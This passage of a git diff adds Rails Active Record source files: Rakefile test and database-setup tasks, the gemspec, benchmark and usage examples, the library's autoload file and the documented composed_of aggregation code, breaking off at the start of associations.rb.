+%w( mysql mysql2 postgresql sqlite3 sqlite3_mem firebird db2 oracle sybase openbase frontbase jdbcmysql jdbcpostgresql jdbcsqlite3 jdbcderby jdbch2 jdbchsqldb ).each do |adapter|
+ Rake::TestTask.new("test_#{adapter}") { |t|
+ adapter_short = adapter == 'db2' ? adapter : adapter[/^[a-z0-9]+/]
+ t.libs << 'test'
+ t.test_files = (Dir.glob( "test/cases/**/*_test.rb" ).reject {
+ |x| x =~ /\/adapters\//
+ } + Dir.glob("test/cases/adapters/#{adapter_short}/**/*_test.rb")).sort
+
+ t.warning = true
+ t.verbose = true
+ }
+
+ task "isolated_test_#{adapter}" do
+ adapter_short = adapter == 'db2' ? adapter : adapter[/^[a-z0-9]+/]
+ puts [adapter, adapter_short].inspect
+ ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
+ (Dir["test/cases/**/*_test.rb"].reject {
+ |x| x =~ /\/adapters\//
+ } + Dir["test/cases/adapters/#{adapter_short}/**/*_test.rb"]).all? do |file|
+ sh(ruby, "-Itest", file)
+ end or raise "Failures"
+ end
+
+ namespace adapter do
+ task :test => "test_#{adapter}"
+ task :isolated_test => "isolated_test_#{adapter}"
+
+ # Set the connection environment for the adapter
+ task(:env) { ENV['ARCONN'] = adapter }
+ end
+
+ # Make sure the adapter test evaluates the env setting task
+ task "test_#{adapter}" => "#{adapter}:env"
+ task "isolated_test_#{adapter}" => "#{adapter}:env"
+end
+
+rule '.sqlite3' do |t|
+ sh %Q{sqlite3 "#{t.name}" "create table a (a integer); drop table a;"}
+end
+
+task :test_sqlite3 => [
+ 'test/fixtures/fixture_database.sqlite3',
+ 'test/fixtures/fixture_database_2.sqlite3'
+]
+
+namespace :mysql do
+ desc 'Build the MySQL test databases'
+ task :build_databases do
+ config = ARTest.config['connections']['mysql']
+ %x( mysql --user=#{config['arunit']['username']} -e "create DATABASE #{config['arunit']['database']} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ")
+ %x( mysql --user=#{config['arunit2']['username']} -e "create DATABASE #{config['arunit2']['database']} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ")
+ end
+
+ desc 'Drop the MySQL test databases'
+ task :drop_databases do
+ config = ARTest.config['connections']['mysql']
+ %x( mysqladmin --user=#{config['arunit']['username']} -f drop #{config['arunit']['database']} )
+ %x( mysqladmin --user=#{config['arunit2']['username']} -f drop #{config['arunit2']['database']} )
+ end
+
+ desc 'Rebuild the MySQL test databases'
+ task :rebuild_databases => [:drop_databases, :build_databases]
+end
+
+task :build_mysql_databases => 'mysql:build_databases'
+task :drop_mysql_databases => 'mysql:drop_databases'
+task :rebuild_mysql_databases => 'mysql:rebuild_databases'
+
+
+namespace :postgresql do
+ desc 'Build the PostgreSQL test databases'
+ task :build_databases do
+ config = ARTest.config['connections']['postgresql']
+ %x( createdb -E UTF8 -T template0 #{config['arunit']['database']} )
+ %x( createdb -E UTF8 -T template0 #{config['arunit2']['database']} )
+
+ # prepare hstore
+ version = %x( createdb --version ).strip.gsub(/(.*)(\d\.\d\.\d)$/, "\\2")
+ %w(arunit arunit2).each do |db|
+ if version < "9.1.0"
+ puts "Please prepare hstore data type. See http://www.postgresql.org/docs/9.0/static/hstore.html"
+ else
+ %x( psql #{config[db]['database']} -c "CREATE EXTENSION hstore;" )
+ end
+ end
+ end
+
+ desc 'Drop the PostgreSQL test databases'
+ task :drop_databases do
+ config = ARTest.config['connections']['postgresql']
+ %x( dropdb #{config['arunit']['database']} )
+ %x( dropdb #{config['arunit2']['database']} )
+ end
+
+ desc 'Rebuild the PostgreSQL test databases'
+ task :rebuild_databases => [:drop_databases, :build_databases]
+end
+
+task :build_postgresql_databases => 'postgresql:build_databases'
+task :drop_postgresql_databases => 'postgresql:drop_databases'
+task :rebuild_postgresql_databases => 'postgresql:rebuild_databases'
+
+
+namespace :frontbase do
+ desc 'Build the FrontBase test databases'
+ task :build_databases => :rebuild_frontbase_databases
+
+ desc 'Rebuild the FrontBase test databases'
+ task :rebuild_databases do
+ build_frontbase_database = Proc.new do |db_name, sql_definition_file|
+ %(
+ STOP DATABASE #{db_name};
+ DELETE DATABASE #{db_name};
+ CREATE DATABASE #{db_name};
+
+ CONNECT TO #{db_name} AS SESSION_NAME USER _SYSTEM;
+ SET COMMIT FALSE;
+
+ CREATE USER RAILS;
+ CREATE SCHEMA RAILS AUTHORIZATION RAILS;
+ COMMIT;
+
+ SET SESSION AUTHORIZATION RAILS;
+ SCRIPT '#{sql_definition_file}';
+
+ COMMIT;
+
+ DISCONNECT ALL;
+ )
+ end
+ config = ARTest.config['connections']['frontbase']
+ create_activerecord_unittest = build_frontbase_database[config['arunit']['database'], File.join(SCHEMA_ROOT, 'frontbase.sql')]
+ create_activerecord_unittest2 = build_frontbase_database[config['arunit2']['database'], File.join(SCHEMA_ROOT, 'frontbase2.sql')]
+ execute_frontbase_sql = Proc.new do |sql|
+ system(<<-SHELL)
+ /Library/FrontBase/bin/sql92 <<-SQL
+ #{sql}
+ SQL
+ SHELL
+ end
+ execute_frontbase_sql[create_activerecord_unittest]
+ execute_frontbase_sql[create_activerecord_unittest2]
+ end
+end
+
+task :build_frontbase_databases => 'frontbase:build_databases'
+task :rebuild_frontbase_databases => 'frontbase:rebuild_databases'
+
+spec = eval(File.read('activerecord.gemspec'))
+
+Gem::PackageTask.new(spec) do |p|
+ p.gem_spec = spec
+end
+
+task :lines do
+ lines, codelines, total_lines, total_codelines = 0, 0, 0, 0
+
+ FileList["lib/active_record/**/*.rb"].each do |file_name|
+ next if file_name =~ /vendor/
+ File.open(file_name, 'r') do |f|
+ while line = f.gets
+ lines += 1
+ next if line =~ /^\s*$/
+ next if line =~ /^\s*#/
+ codelines += 1
+ end
+ end
+ puts "L: #{sprintf("%4d", lines)}, LOC #{sprintf("%4d", codelines)} | #{file_name}"
+
+ total_lines += lines
+ total_codelines += codelines
+
+ lines, codelines = 0, 0
+ end
+
+ puts "Total: Lines #{total_lines}, LOC #{total_codelines}"
+end
+
+
+# Publishing ------------------------------------------------------
+
+desc "Release to gemcutter"
+task :release => :package do
+ require 'rake/gemcutter'
+ Rake::Gemcutter::Tasks.new(spec).define
+ Rake::Task['gem:push'].invoke
+end
diff --git a/activerecord/activerecord.gemspec b/activerecord/activerecord.gemspec
new file mode 100644
index 0000000..337106c
--- /dev/null
+++ b/activerecord/activerecord.gemspec
@@ -0,0 +1,29 @@
+version = File.read(File.expand_path('../../RAILS_VERSION', __FILE__)).strip
+
+Gem::Specification.new do |s|
+ s.platform = Gem::Platform::RUBY
+ s.name = 'activerecord'
+ s.version = version
+ s.summary = 'Object-relational mapper framework (part of Rails).'
+ s.description = 'Databases on Rails. Build a persistent domain model by mapping database tables to Ruby classes. Strong conventions for associations, validations, aggregations, migrations, and testing come baked-in.'
+
+ s.required_ruby_version = '>= 1.9.3'
+
+ s.license = 'MIT'
+
+ s.author = 'David Heinemeier Hansson'
+ s.email = 'david at loudthinking.com'
+ s.homepage = 'http://www.rubyonrails.org'
+
+ s.files = Dir['CHANGELOG.md', 'MIT-LICENSE', 'README.rdoc', 'examples/**/*', 'lib/**/*']
+ s.require_path = 'lib'
+
+ s.extra_rdoc_files = %w(README.rdoc)
+ s.rdoc_options.concat ['--main', 'README.rdoc']
+
+ s.add_dependency 'activesupport', version
+ s.add_dependency 'activemodel', version
+
+ s.add_dependency 'arel', '~> 4.0.0'
+ s.add_dependency 'activerecord-deprecated_finders', '~> 1.0.2'
+end
diff --git a/activerecord/examples/.gitignore b/activerecord/examples/.gitignore
new file mode 100644
index 0000000..0dfc1cb
--- /dev/null
+++ b/activerecord/examples/.gitignore
@@ -0,0 +1 @@
+performance.sql
diff --git a/activerecord/examples/performance.rb b/activerecord/examples/performance.rb
new file mode 100644
index 0000000..ad12f85
--- /dev/null
+++ b/activerecord/examples/performance.rb
@@ -0,0 +1,172 @@
+require File.expand_path('../../../load_paths', __FILE__)
+require "active_record"
+require 'benchmark/ips'
+
+TIME = (ENV['BENCHMARK_TIME'] || 20).to_i
+RECORDS = (ENV['BENCHMARK_RECORDS'] || TIME*1000).to_i
+
+conn = { :adapter => 'sqlite3', :database => ':memory:' }
+
+ActiveRecord::Base.establish_connection(conn)
+
+class User < ActiveRecord::Base
+ connection.create_table :users, :force => true do |t|
+ t.string :name, :email
+ t.timestamps
+ end
+
+ has_many :exhibits
+end
+
+class Exhibit < ActiveRecord::Base
+ connection.create_table :exhibits, :force => true do |t|
+ t.belongs_to :user
+ t.string :name
+ t.text :notes
+ t.timestamps
+ end
+
+ belongs_to :user
+
+ def look; attributes end
+ def feel; look; user.name end
+
+ def self.with_name
+ where("name IS NOT NULL")
+ end
+
+ def self.with_notes
+ where("notes IS NOT NULL")
+ end
+
+ def self.look(exhibits) exhibits.each { |e| e.look } end
+ def self.feel(exhibits) exhibits.each { |e| e.feel } end
+end
+
+puts 'Generating data...'
+
+module ActiveRecord
+ class Faker
+ LOREM = %Q{Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse non aliquet diam. Curabitur vel urna metus, quis malesuada elit.
+ Integer consequat tincidunt felis. Etiam non erat dolor. Vivamus imperdiet nibh sit amet diam eleifend id posuere diam malesuada. Mauris at accumsan sem.
+ Donec id lorem neque. Fusce erat lorem, ornare eu congue vitae, malesuada quis neque. Maecenas vel urna a velit pretium fermentum. Donec tortor enim,
+ tempor venenatis egestas a, tempor sed ipsum. Ut arcu justo, faucibus non imperdiet ac, interdum at diam. Pellentesque ipsum enim, venenatis ut iaculis vitae,
+ varius vitae sem. Sed rutrum quam ac elit euismod bibendum. Donec ultricies ultricies magna, at lacinia libero mollis aliquam. Sed ac arcu in tortor elementum
+ tincidunt vel interdum sem. Curabitur eget erat arcu. Praesent eget eros leo. Nam magna enim, sollicitudin vehicula scelerisque in, vulputate ut libero.
+ Praesent varius tincidunt commodo}.split
+
+ def self.name
+ LOREM.grep(/^\w*$/).sort_by { rand }.first(2).join ' '
+ end
+
+ def self.email
+ LOREM.grep(/^\w*$/).sort_by { rand }.first(2).join('@') + ".com"
+ end
+ end
+end
+
+# pre-compute the insert statements and fake data compilation,
+# so the benchmarks below show the actual runtime for the execute
+# method, minus the setup steps
+
+# Using the same paragraph for all exhibits because it is very slow
+# to generate unique paragraphs for all exhibits.
+notes = ActiveRecord::Faker::LOREM.join ' '
+today = Date.today
+
+puts "Inserting #{RECORDS} users and exhibits..."
+RECORDS.times do
+ user = User.create(
+ :created_at => today,
+ :name => ActiveRecord::Faker.name,
+ :email => ActiveRecord::Faker.email
+ )
+
+ Exhibit.create(
+ :created_at => today,
+ :name => ActiveRecord::Faker.name,
+ :user => user,
+ :notes => notes
+ )
+end
+
+Benchmark.ips(TIME) do |x|
+ ar_obj = Exhibit.find(1)
+ attrs = { :name => 'sam' }
+ attrs_first = { :name => 'sam' }
+ attrs_second = { :name => 'tom' }
+ exhibit = {
+ :name => ActiveRecord::Faker.name,
+ :notes => notes,
+ :created_at => Date.today
+ }
+
+ x.report("Model#id") do
+ ar_obj.id
+ end
+
+ x.report 'Model.new (instantiation)' do
+ Exhibit.new
+ end
+
+ x.report 'Model.new (setting attributes)' do
+ Exhibit.new(attrs)
+ end
+
+ x.report 'Model.first' do
+ Exhibit.first.look
+ end
+
+ x.report("Model.all limit(100)") do
+ Exhibit.look Exhibit.limit(100)
+ end
+
+ x.report "Model.all limit(100) with relationship" do
+ Exhibit.feel Exhibit.limit(100).includes(:user)
+ end
+
+ x.report "Model.all limit(10,000)" do
+ Exhibit.look Exhibit.limit(10000)
+ end
+
+ x.report 'Model.named_scope' do
+ Exhibit.limit(10).with_name.with_notes
+ end
+
+ x.report 'Model.create' do
+ Exhibit.create(exhibit)
+ end
+
+ x.report 'Resource#attributes=' do
+ e = Exhibit.new(attrs_first)
+ e.attributes = attrs_second
+ end
+
+ x.report 'Resource#update' do
+ Exhibit.first.update(name: 'bob')
+ end
+
+ x.report 'Resource#destroy' do
+ Exhibit.first.destroy
+ end
+
+ x.report 'Model.transaction' do
+ Exhibit.transaction { Exhibit.new }
+ end
+
+ x.report 'Model.find(id)' do
+ User.find(1)
+ end
+
+ x.report 'Model.find_by_sql' do
+ Exhibit.find_by_sql("SELECT * FROM exhibits WHERE id = #{(rand * 1000 + 1).to_i}").first
+ end
+
+ x.report "Model.log" do
+ Exhibit.connection.send(:log, "hello", "world") {}
+ end
+
+ x.report "AR.execute(query)" do
+ ActiveRecord::Base.connection.execute("Select * from exhibits where id = #{(rand * 1000 + 1).to_i}")
+ end
+end
diff --git a/activerecord/examples/simple.rb b/activerecord/examples/simple.rb
new file mode 100644
index 0000000..c12f746
--- /dev/null
+++ b/activerecord/examples/simple.rb
@@ -0,0 +1,14 @@
+$LOAD_PATH.unshift "#{File.dirname(__FILE__)}/../lib"
+require 'active_record'
+
+class Person < ActiveRecord::Base
+ establish_connection :adapter => 'sqlite3', :database => 'foobar.db'
+ connection.create_table table_name, :force => true do |t|
+ t.string :name
+ end
+end
+
+bob = Person.create!(:name => 'bob')
+puts Person.all.inspect
+bob.destroy
+puts Person.all.inspect
diff --git a/activerecord/lib/active_record.rb b/activerecord/lib/active_record.rb
new file mode 100644
index 0000000..0330c0f
--- /dev/null
+++ b/activerecord/lib/active_record.rb
@@ -0,0 +1,173 @@
+#--
+# Copyright (c) 2004-2013 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require 'active_support'
+require 'active_support/rails'
+require 'active_model'
+require 'arel'
+require 'active_record/deprecated_finders'
+
+require 'active_record/version'
+
+module ActiveRecord
+ extend ActiveSupport::Autoload
+
+ autoload :Base
+ autoload :Callbacks
+ autoload :Core
+ autoload :ConnectionHandling
+ autoload :CounterCache
+ autoload :DynamicMatchers
+ autoload :Explain
+ autoload :Inheritance
+ autoload :Integration
+ autoload :Migration
+ autoload :Migrator, 'active_record/migration'
+ autoload :ModelSchema
+ autoload :NestedAttributes
+ autoload :Persistence
+ autoload :QueryCache
+ autoload :Querying
+ autoload :ReadonlyAttributes
+ autoload :Reflection
+ autoload :RuntimeRegistry
+ autoload :Sanitization
+ autoload :Schema
+ autoload :SchemaDumper
+ autoload :SchemaMigration
+ autoload :Scoping
+ autoload :Serialization
+ autoload :StatementCache
+ autoload :Store
+ autoload :Timestamp
+ autoload :Transactions
+ autoload :Translation
+ autoload :Validations
+
+ eager_autoload do
+ autoload :ActiveRecordError, 'active_record/errors'
+ autoload :ConnectionNotEstablished, 'active_record/errors'
+ autoload :ConnectionAdapters, 'active_record/connection_adapters/abstract_adapter'
+
+ autoload :Aggregations
+ autoload :Associations
+ autoload :AttributeAssignment
+ autoload :AttributeMethods
+ autoload :AutosaveAssociation
+
+ autoload :Relation
+ autoload :NullRelation
+
+ autoload_under 'relation' do
+ autoload :QueryMethods
+ autoload :FinderMethods
+ autoload :Calculations
+ autoload :PredicateBuilder
+ autoload :SpawnMethods
+ autoload :Batches
+ autoload :Delegation
+ end
+
+ autoload :Result
+ end
+
+ module Coders
+ autoload :YAMLColumn, 'active_record/coders/yaml_column'
+ end
+
+ module AttributeMethods
+ extend ActiveSupport::Autoload
+
+ eager_autoload do
+ autoload :BeforeTypeCast
+ autoload :Dirty
+ autoload :PrimaryKey
+ autoload :Query
+ autoload :Read
+ autoload :TimeZoneConversion
+ autoload :Write
+ autoload :Serialization
+ end
+ end
+
+ module Locking
+ extend ActiveSupport::Autoload
+
+ eager_autoload do
+ autoload :Optimistic
+ autoload :Pessimistic
+ end
+ end
+
+ module ConnectionAdapters
+ extend ActiveSupport::Autoload
+
+ eager_autoload do
+ autoload :AbstractAdapter
+ autoload :ConnectionManagement, "active_record/connection_adapters/abstract/connection_pool"
+ end
+ end
+
+ module Scoping
+ extend ActiveSupport::Autoload
+
+ eager_autoload do
+ autoload :Named
+ autoload :Default
+ end
+ end
+
+ module Tasks
+ extend ActiveSupport::Autoload
+
+ autoload :DatabaseTasks
+ autoload :SQLiteDatabaseTasks, 'active_record/tasks/sqlite_database_tasks'
+ autoload :MySQLDatabaseTasks, 'active_record/tasks/mysql_database_tasks'
+ autoload :PostgreSQLDatabaseTasks,
+ 'active_record/tasks/postgresql_database_tasks'
+
+ autoload :FirebirdDatabaseTasks, 'active_record/tasks/firebird_database_tasks'
+ autoload :SqlserverDatabaseTasks, 'active_record/tasks/sqlserver_database_tasks'
+ autoload :OracleDatabaseTasks, 'active_record/tasks/oracle_database_tasks'
+ end
+
+ autoload :TestCase
+ autoload :TestFixtures, 'active_record/fixtures'
+
+ def self.eager_load!
+ super
+ ActiveRecord::Locking.eager_load!
+ ActiveRecord::Scoping.eager_load!
+ ActiveRecord::Associations.eager_load!
+ ActiveRecord::AttributeMethods.eager_load!
+ ActiveRecord::ConnectionAdapters.eager_load!
+ end
+end
+
+ActiveSupport.on_load(:active_record) do
+ Arel::Table.engine = self
+end
+
+ActiveSupport.on_load(:i18n) do
+ I18n.load_path << File.dirname(__FILE__) + '/active_record/locale/en.yml'
+end
diff --git a/activerecord/lib/active_record/aggregations.rb b/activerecord/lib/active_record/aggregations.rb
new file mode 100644
index 0000000..9d1c12e
--- /dev/null
+++ b/activerecord/lib/active_record/aggregations.rb
@@ -0,0 +1,261 @@
+module ActiveRecord
+ # = Active Record Aggregations
+ module Aggregations # :nodoc:
+ extend ActiveSupport::Concern
+
+ def clear_aggregation_cache #:nodoc:
+ @aggregation_cache.clear if persisted?
+ end
+
+ # Active Record implements aggregation through a macro-like class method called +composed_of+
+ # for representing attributes as value objects. It expresses relationships like "Account [is]
+ # composed of Money [among other things]" or "Person [is] composed of [an] address". Each call
+ # to the macro adds a description of how the value objects are created from the attributes of
+ # the entity object (when the entity is initialized either as a new object or from finding an
+ # existing object) and how it can be turned back into attributes (when the entity is saved to
+ # the database).
+ #
+ # class Customer < ActiveRecord::Base
+ # composed_of :balance, class_name: "Money", mapping: %w(balance amount)
+ # composed_of :address, mapping: [ %w(address_street street), %w(address_city city) ]
+ # end
+ #
+ # The customer class now has the following methods to manipulate the value objects:
+ # * <tt>Customer#balance, Customer#balance=(money)</tt>
+ # * <tt>Customer#address, Customer#address=(address)</tt>
+ #
+ # These methods will operate with value objects like the ones described below:
+ #
+ # class Money
+ # include Comparable
+ # attr_reader :amount, :currency
+ # EXCHANGE_RATES = { "USD_TO_DKK" => 6 }
+ #
+ # def initialize(amount, currency = "USD")
+ # @amount, @currency = amount, currency
+ # end
+ #
+ # def exchange_to(other_currency)
+ # exchanged_amount = (amount * EXCHANGE_RATES["#{currency}_TO_#{other_currency}"]).floor
+ # Money.new(exchanged_amount, other_currency)
+ # end
+ #
+ # def ==(other_money)
+ # amount == other_money.amount && currency == other_money.currency
+ # end
+ #
+ # def <=>(other_money)
+ # if currency == other_money.currency
+ # amount <=> other_money.amount
+ # else
+ # amount <=> other_money.exchange_to(currency).amount
+ # end
+ # end
+ # end
+ #
+ # class Address
+ # attr_reader :street, :city
+ # def initialize(street, city)
+ # @street, @city = street, city
+ # end
+ #
+ # def close_to?(other_address)
+ # city == other_address.city
+ # end
+ #
+ # def ==(other_address)
+ # city == other_address.city && street == other_address.street
+ # end
+ # end
+ #
+ # Now it's possible to access attributes from the database through the value objects instead. If
+ # you choose to name the composition the same as the attribute's name, it will be the only way to
+ # access that attribute. That's the case with our +balance+ attribute. You interact with the value
+ # objects just like you would with any other attribute:
+ #
+ # customer.balance = Money.new(20) # sets the Money value object and the attribute
+ # customer.balance # => Money value object
+ # customer.balance.exchange_to("DKK") # => Money.new(120, "DKK")
+ # customer.balance > Money.new(10) # => true
+ # customer.balance == Money.new(20) # => true
+ # customer.balance < Money.new(5) # => false
+ #
+ # Value objects can also be composed of multiple attributes, such as the case of Address. The order
+ # of the mappings will determine the order of the parameters.
+ #
+ # customer.address_street = "Hyancintvej"
+ # customer.address_city = "Copenhagen"
+ # customer.address # => Address.new("Hyancintvej", "Copenhagen")
+ #
+ # customer.address_street = "Vesterbrogade"
+ # customer.address # => Address.new("Hyancintvej", "Copenhagen")
+ # customer.clear_aggregation_cache
+ # customer.address # => Address.new("Vesterbrogade", "Copenhagen")
+ #
+ # customer.address = Address.new("May Street", "Chicago")
+ # customer.address_street # => "May Street"
+ # customer.address_city # => "Chicago"
+ #
+ # == Writing value objects
+ #
+ # Value objects are immutable and interchangeable objects that represent a given value, such as
+ # a Money object representing $5. Two Money objects both representing $5 should be equal (through
+ # methods such as <tt>==</tt> and <tt><=></tt> from Comparable if ranking makes sense). This is
+ # unlike entity objects where equality is determined by identity. An entity class such as Customer can
+ # easily have two different objects that both have an address on Hyancintvej. Entity identity is
+ # determined by object or relational unique identifiers (such as primary keys). Normal
+ # ActiveRecord::Base classes are entity objects.
+ #
+ # It's also important to treat the value objects as immutable. Don't allow the Money object to have
+ # its amount changed after creation. Create a new Money object with the new value instead. The
+ # Money#exchange_to method is an example of this. It returns a new value object instead of changing
+ # its own values. Active Record won't persist value objects that have been changed through means
+ # other than the writer method.
+ #
+ # The immutable requirement is enforced by Active Record by freezing any object assigned as a value
+ # object. Attempting to change it afterwards will result in a RuntimeError.
+ #
+ # Read more about value objects on http://c2.com/cgi/wiki?ValueObject and on the dangers of not
+ # keeping value objects immutable on http://c2.com/cgi/wiki?ValueObjectsShouldBeImmutable
+ #
+ # == Custom constructors and converters
+ #
+ # By default value objects are initialized by calling the <tt>new</tt> constructor of the value
+ # class passing each of the mapped attributes, in the order specified by the <tt>:mapping</tt>
+ # option, as arguments. If the value class doesn't support this convention then +composed_of+ allows
+ # a custom constructor to be specified.
+ #
+ # When a new value is assigned to the value object, the default assumption is that the new value
+ # is an instance of the value class. Specifying a custom converter allows the new value to be automatically
+ # converted to an instance of value class if necessary.
+ #
+ # For example, the NetworkResource model has +network_address+ and +cidr_range+ attributes that
+ # should be aggregated using the NetAddr::CIDR value class (http://netaddr.rubyforge.org). The constructor
+ # for the value class is called +create+ and it expects a CIDR address string as a parameter. New
+ # values can be assigned to the value object using either another NetAddr::CIDR object, a string
+ # or an array. The <tt>:constructor</tt> and <tt>:converter</tt> options can be used to meet
+ # these requirements:
+ #
+ # class NetworkResource < ActiveRecord::Base
+ # composed_of :cidr,
+ # class_name: 'NetAddr::CIDR',
+ # mapping: [ %w(network_address network), %w(cidr_range bits) ],
+ # allow_nil: true,
+ # constructor: Proc.new { |network_address, cidr_range| NetAddr::CIDR.create("#{network_address}/#{cidr_range}") },
+ # converter: Proc.new { |value| NetAddr::CIDR.create(value.is_a?(Array) ? value.join('/') : value) }
+ # end
+ #
+ # # This calls the :constructor
+ # network_resource = NetworkResource.new(network_address: '192.168.0.1', cidr_range: 24)
+ #
+ # # These assignments will both use the :converter
+ # network_resource.cidr = [ '192.168.2.1', 8 ]
+ # network_resource.cidr = '192.168.0.1/24'
+ #
+ # # This assignment won't use the :converter as the value is already an instance of the value class
+ # network_resource.cidr = NetAddr::CIDR.create('192.168.2.1/8')
+ #
+ # # Saving and then reloading will use the :constructor on reload
+ # network_resource.save
+ # network_resource.reload
+ #
+ # == Finding records by a value object
+ #
+ # Once a +composed_of+ relationship is specified for a model, records can be loaded from the database
+ # by specifying an instance of the value object in the conditions hash. The following example
+ # finds all customers with +balance_amount+ equal to 20 and +balance_currency+ equal to "USD":
+ #
+ # Customer.where(balance: Money.new(20, "USD"))
+ #
+ module ClassMethods
+ # Adds reader and writer methods for manipulating a value object:
+ # <tt>composed_of :address</tt> adds <tt>address</tt> and <tt>address=(new_address)</tt> methods.
+ #
+ # Options are:
+ # * <tt>:class_name</tt> - Specifies the class name of the association. Use it only if that name
+ # can't be inferred from the part id. So <tt>composed_of :address</tt> will by default be linked
+ # to the Address class, but if the real class name is CompanyAddress, you'll have to specify it
+ # with this option.
+ # * <tt>:mapping</tt> - Specifies the mapping of entity attributes to attributes of the value
+ # object. Each mapping is represented as an array where the first item is the name of the
+ # entity attribute and the second item is the name of the attribute in the value object. The
+ # order in which mappings are defined determines the order in which attributes are sent to the
+ # value class constructor.
+ # * <tt>:allow_nil</tt> - Specifies that the value object will not be instantiated when all mapped
+ # attributes are +nil+. Setting the value object to +nil+ has the effect of writing +nil+ to all
+ # mapped attributes.
+ # This defaults to +false+.
+ # * <tt>:constructor</tt> - A symbol specifying the name of the constructor method or a Proc that
+ # is called to initialize the value object. The constructor is passed all of the mapped attributes,
+ # in the order that they are defined in the <tt>:mapping option</tt>, as arguments and uses them
+ # to instantiate a <tt>:class_name</tt> object.
+ # The default is <tt>:new</tt>.
+ # * <tt>:converter</tt> - A symbol specifying the name of a class method of <tt>:class_name</tt>
+ # or a Proc that is called when a new value is assigned to the value object. The converter is
+ # passed the single value that is used in the assignment and is only called if the new value is
+ # not an instance of <tt>:class_name</tt>. If <tt>:allow_nil</tt> is set to true, the converter
+ # can return nil to skip the assignment.
+ #
+ # Option examples:
+ # composed_of :temperature, mapping: %w(reading celsius)
+ # composed_of :balance, class_name: "Money", mapping: %w(balance amount),
+ # converter: Proc.new { |balance| balance.to_money }
+ # composed_of :address, mapping: [ %w(address_street street), %w(address_city city) ]
+ # composed_of :gps_location
+ # composed_of :gps_location, allow_nil: true
+ # composed_of :ip_address,
+ # class_name: 'IPAddr',
+ # mapping: %w(ip to_i),
+ # constructor: Proc.new { |ip| IPAddr.new(ip, Socket::AF_INET) },
+ # converter: Proc.new { |ip| ip.is_a?(Integer) ? IPAddr.new(ip, Socket::AF_INET) : IPAddr.new(ip.to_s) }
+ #
+ def composed_of(part_id, options = {})
+ options.assert_valid_keys(:class_name, :mapping, :allow_nil, :constructor, :converter)
+
+ name = part_id.id2name
+ class_name = options[:class_name] || name.camelize
+ mapping = options[:mapping] || [ name, name ]
+ mapping = [ mapping ] unless mapping.first.is_a?(Array)
+ allow_nil = options[:allow_nil] || false
+ constructor = options[:constructor] || :new
+ converter = options[:converter]
+
+ reader_method(name, class_name, mapping, allow_nil, constructor)
+ writer_method(name, class_name, mapping, allow_nil, converter)
+
+ create_reflection(:composed_of, part_id, nil, options, self)
+ end
+
+ private
+ def reader_method(name, class_name, mapping, allow_nil, constructor)
+ define_method(name) do
+ if @aggregation_cache[name].nil? && (!allow_nil || mapping.any? {|pair| !read_attribute(pair.first).nil? })
+ attrs = mapping.collect {|pair| read_attribute(pair.first)}
+ object = constructor.respond_to?(:call) ?
+ constructor.call(*attrs) :
+ class_name.constantize.send(constructor, *attrs)
+ @aggregation_cache[name] = object
+ end
+ @aggregation_cache[name]
+ end
+ end
+
+ def writer_method(name, class_name, mapping, allow_nil, converter)
+ define_method("#{name}=") do |part|
+ klass = class_name.constantize
+ unless part.is_a?(klass) || converter.nil? || part.nil?
+ part = converter.respond_to?(:call) ? converter.call(part) : klass.send(converter, part)
+ end
+
+ if part.nil? && allow_nil
+ mapping.each { |pair| self[pair.first] = nil }
+ @aggregation_cache[name] = nil
+ else
+ mapping.each { |pair| self[pair.first] = part.send(pair.last) }
+ @aggregation_cache[name] = part.freeze
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations.rb b/activerecord/lib/active_record/associations.rb
new file mode 100644
index 0000000..5e5995f
--- /dev/null
+++ b/activerecord/lib/active_record/associations.rb
@@ -0,0 +1,1542 @@
+require 'active_support/core_ext/enumerable'
+require 'active_support/core_ext/string/conversions'
+require 'active_support/core_ext/module/remove_method'
+require 'active_record/errors'
+
+module ActiveRecord
+ class InverseOfAssociationNotFoundError < ActiveRecordError #:nodoc:
+ def initialize(reflection, associated_class = nil)
+ super("Could not find the inverse association for #{reflection.name} (#{reflection.options[:inverse_of].inspect} in #{associated_class.nil? ? reflection.class_name : associated_class.name})")
+ end
+ end
+
+ class HasManyThroughAssociationNotFoundError < ActiveRecordError #:nodoc:
+ def initialize(owner_class_name, reflection)
+ super("Could not find the association #{reflection.options[:through].inspect} in model #{owner_class_name}")
+ end
+ end
+
+ class HasManyThroughAssociationPolymorphicSourceError < ActiveRecordError #:nodoc:
+ def initialize(owner_class_name, reflection, source_reflection)
+ super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' on the polymorphic object '#{source_reflection.class_name}##{source_reflection.name}' without 'source_type'. Try adding 'source_type: \"#{reflection.name.to_s.classify}\"' to 'has_many :through' definition.")
+ end
+ end
+
+ class HasManyThroughAssociationPolymorphicThroughError < ActiveRecordError #:nodoc:
+ def initialize(owner_class_name, reflection)
+ super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' which goes through the polymorphic association '#{owner_class_name}##{reflection.through_reflection.name}'.")
+ end
+ end
+
+ class HasManyThroughAssociationPointlessSourceTypeError < ActiveRecordError #:nodoc:
+ def initialize(owner_class_name, reflection, source_reflection)
